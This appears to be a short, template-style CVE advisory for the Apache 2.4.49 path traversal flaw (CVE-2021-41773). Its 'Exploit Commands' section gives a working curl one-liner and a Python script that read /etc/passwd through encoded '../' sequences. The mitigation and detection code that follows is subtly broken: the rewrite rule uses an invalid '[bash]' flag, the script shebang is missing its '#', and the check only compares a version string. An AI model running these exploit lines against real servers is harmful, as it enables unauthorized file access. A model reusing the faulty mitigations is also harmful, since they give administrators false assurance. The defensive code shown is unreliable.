Apache HTTP Server, Path Traversal, CVE-2021-41773 (Critical)

How the CVE Works:

CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper validation of URLs in the `ap_normalize_path()` function. Attackers can exploit this by crafting malicious requests containing encoded path traversal sequences (e.g., %2e%2e/). If directory traversal is enabled, this allows unauthorized access to files outside the web root. A successful exploit could expose sensitive system files, leading to remote code execution (RCE) if CGI scripts are enabled. The vulnerability is critical due to its low attack complexity and high impact.

DailyCVE Form:

Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
Date: 2021-10-05

What Undercode Say:

Analytics:

Attack Vector: Remote (HTTP)
Exploitability: Low complexity, no privileges required
Affected Systems: Apache 2.4.49 on Unix/Windows

Exploit Commands:

curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

import requests
url = "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
response = requests.get(url)
print(response.text)

Mitigation Commands:

1. Patch Upgrade:

sudo apt update && sudo apt upgrade apache2

2. Disable CGI (Temporary Fix):

<Directory "/usr/lib/cgi-bin">
Options -ExecCGI
</Directory>

3. Input Validation Rule:

RewriteEngine On
RewriteCond %{REQUEST_URI} "../"
RewriteRule . - [bash]

Detection Script:

!/bin/bash
if apache2 -v | grep -q "2.4.49"; then
echo "Vulnerable to CVE-2021-41773"
else
echo "Not Vulnerable"
fi